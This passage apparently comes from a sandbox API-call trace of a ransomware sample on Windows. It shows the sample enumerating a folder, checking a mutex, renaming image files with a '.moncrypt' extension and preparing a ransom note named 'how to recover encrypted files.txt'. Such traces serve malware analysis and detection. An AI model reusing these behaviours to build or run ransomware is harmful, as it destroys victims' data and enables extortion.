dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@ꠜR企@\x18?T\x18y")) returned 0xffffffff [0050.129] GetLastError () returned 0x2 [0050.129] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@坜U企@\x18?T\x18\x81")) returned 0xffffffff [0050.130] GetLastError () returned 0x2 [0050.130] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@婴U企@\x18?T\x18\x88")) returned 0xffffffff [0050.132] GetLastError () returned 0x2 [0050.132] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@ꠜR企@\x18?T\x18\x8f")) returned 0xffffffff [0050.133] GetLastError () returned 0x2 [0050.133] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="℔R䱠@坜U企@\x18?T\x18\x97")) returned 0xffffffff [0050.134] GetLastError () returned 0x2 [0050.134] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.134] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.134] GlobalUnlock (hMem=0x44000c) returned 0 [0050.134] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.134] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.135] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.135] GlobalUnlock (hMem=0x44000c) returned 0 [0050.135] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.135] GlobalUnlock (hMem=0x440004) returned 0 [0050.135] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0050.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0050.135] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0050.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0050.135] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0050.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0050.135] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0050.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e28, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0050.135] GlobalLock (hMem=0x440004) returned 0x550170 [0050.135] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.135] GlobalUnlock (hMem=0x440004) returned 0 [0050.135] GlobalLock (hMem=0x440004) returned 0x550170 [0050.135] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.135] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.135] GlobalUnlock (hMem=0x440004) returned 0 [0050.135] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.135] GlobalUnlock (hMem=0x44000c) returned 0 [0050.135] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.135] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.135] GlobalUnlock (hMem=0x44000c) returned 0 [0050.135] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.135] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.135] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.135] GlobalUnlock (hMem=0x44000c) returned 0 [0050.135] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.136] GlobalUnlock (hMem=0x440004) returned 0 [0050.136] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0050.136] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.136] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0050.136] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0050.136] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.136] GlobalLock (hMem=0x440004) returned 0x550170 [0050.136] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.136] GlobalUnlock (hMem=0x440004) returned 0 [0050.137] GlobalLock (hMem=0x440004) returned 0x550170 [0050.137] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.137] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.137] GlobalUnlock (hMem=0x440004) returned 0 [0050.137] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.137] GlobalUnlock (hMem=0x44000c) returned 0 [0050.137] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.137] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.137] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.137] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.137] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.137] GlobalUnlock (hMem=0x44000c) returned 0 [0050.137] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.137] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.137] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.137] GlobalUnlock (hMem=0x44000c) returned 0 [0050.137] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.137] GlobalUnlock (hMem=0x440004) returned 0 [0050.137] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.137] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0050.138] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d28*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ed70, lpOverlapped=0x0 | out: lpBuffer=0x1e61d28*, lpNumberOfBytesWritten=0x18ed70*=0x1, lpOverlapped=0x0) returned 1 [0050.139] CloseHandle (hObject=0x188) returned 1 [0050.139] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\я")) returned 1 [0050.140] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 0x54e200 [0050.140] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0050.140] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0050.140] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg", dwFileAttributes=0x20) returned 0 [0050.140] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0050.140] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.moncrypt")) returned 0 [0050.141] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ca9e3b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ca9e3b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4421c165, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blue_Gradient.jpg", cAlternateFileName="")) returned 1 [0050.141] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.141] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.141] GlobalLock (hMem=0x440004) returned 0x550170 [0050.141] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.141] GlobalUnlock (hMem=0x440004) returned 0 [0050.141] GlobalLock (hMem=0x440004) returned 0x550170 [0050.141] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.141] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.141] GlobalUnlock (hMem=0x440004) returned 0 [0050.141] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.141] GlobalUnlock (hMem=0x44000c) returned 0 [0050.141] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.142] CharLowerBuffW (in: lpsz="Blue_Gradient.jpg", cchLength=0x11 | out: lpsz="blue_gradient.jpg") returned 0x11 [0050.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0050.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0050.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.142] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0050.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", cchWideChar=75, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", lpUsedDefaultChar=0x0) returned 75 [0050.142] CharLowerBuffW (in: lpsz=".jpg", cchLength=0x4 | out: lpsz=".jpg") returned 0x4 [0050.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".jpg", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".jpgShared\\Stationery\\Blue_Gradient.jpg", lpUsedDefaultChar=0x0) returned 4 [0050.143] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ca9e3b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ca9e3b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4421c165, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blue_Gradient.jpg", cAlternateFileName="")) returned 0x54e200 [0050.143] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0050.143] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0050.143] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", dwFileAttributes=0x20) returned 0 [0050.144] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0050.144] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg.moncrypt")) returned 0 [0050.144] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ccff98, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ccff98, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x442422c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x11eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cave_Drawings.gif", cAlternateFileName="")) returned 1 [0050.144] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.144] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.144] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.144] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.144] GlobalUnlock (hMem=0x44000c) returned 0 [0050.144] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.144] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.144] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.144] GlobalUnlock (hMem=0x44000c) returned 0 [0050.145] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.145] GlobalUnlock (hMem=0x440004) returned 0 [0050.145] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.145] CharLowerBuffW (in: lpsz="Cave_Drawings.gif", cchLength=0x11 | out: lpsz="cave_drawings.gif") returned 0x11 [0050.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0050.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0050.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0050.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", 